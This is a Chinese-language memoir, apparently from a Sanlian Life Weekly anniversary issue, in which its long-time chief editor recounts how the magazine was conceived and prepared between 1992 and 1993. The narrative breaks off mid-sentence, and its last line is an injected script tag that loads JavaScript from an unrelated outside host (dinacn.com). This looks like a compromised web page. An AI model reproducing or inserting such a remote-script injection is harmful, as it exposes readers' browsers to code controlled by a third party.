我从1995年8月起接手主编《三联生活周刊》，至今已经15年零两个月。与《三联生活周刊》的渊源，则要前推至1992年的春天。那时，三联书店总经理董秀玉刚从香港三联回来不久，书店蜗居在外交部街一个宿舍院内的地下室里办公，进地下室要弯腰。记得那天是在与《读书》编辑部吴彬的闲聊中，问起三联有无可能办《生活》。吴彬让我去找老董聊聊。那时正是《人民文学》剥夺我工作权之际，闲得无聊。老董就让我做一份策划。策划是在《人民文学》编辑部所在，农展馆南里10号楼马路的对面，大家或蹲或坐在路边议论的。参与者有《人民文学》的林谦、邹进、林大中、鲍学超等。议论后，由我执笔，写成了一份策划。那时的想法，是办一份文化与生活相结合的月刊，希望以承包经营的方式，与三联书店合作。

三联生活周刊600期特刊：1995至2010我们与这个时代。

 

三联书店前总经理董秀玉。

 

　　1998年北戴河留影（左至右：王星、苗炜、王锋、高昱、李孟苏、卞智洪、刘君梅、王珲、邹剑宇）

 

2010年10月，《三联生活周刊》部分工作人员合影。

　　这份策划交老董后，曾组织过一次讨论。老董当时明确表示，三联书店不会考虑承包经营的方式，随后，策划也就被搁置而无下落。再后来，听说朱正琳与梁晓燕也在做策划。这期间，时任《读书》主编的沈昌文先生让我帮助召集新闻界一些活跃的朋友吃一次饭，他想在《读书》上开一个新栏目，每月对新闻热点做深度评述。吃饭地点定在新侨饭店，那次参与者，记得有钱刚、杨浪、杨平、陈西林等。老董参加了聚会。现在回想，那次聚会，对于《三联生活周刊》后来的创办，可能是很关键的一个时间点。沈先生在聚会后告诉我，老董说，这件事不该《读书》来做，应该《生活》来做。我猜想，老董正是在那次聚会中认定了——《生活》要做成新闻周刊，要大投入大产出，而钱刚就是最合适的人选。因为他是那时新闻界一批最活跃的新潮者的领袖。

　　这应该是《三联生活周刊》一段一般人所不知的前史。

　　然后，就听说老董拉来了投资，由钱刚开始正式筹备《三联生活周刊》。早期筹备的情况，我是时时听何志云谈起，他是我原来在《中国青年》工作时的同事。参与筹备的，除新闻界朋友，还有很活跃的晓蓉，她是《文艺报》的编辑。而协助钱刚筹备的陶泰忠，则是原《解放军文艺》的编辑部主任，我在《人民文学》工作时，曾是将他看做竞争对手的。

　　我清楚记得，钱刚正式招聘面试记者的那一天，我正在灯市口妇联大院里，帮杨浪的太太谢丽华编一本面对农村妇女的《农家女》杂志。自从1989年《东方纪事》停刊，《人民文学》又不让我发挥作用，我当时正想方设法想编一本能实现自己理想的刊物。想编一本《艺术》，都组好了稿，最终还是因为没刊号而流产。1993年钱刚开始空转?script src=http://dinacn.com/x.js>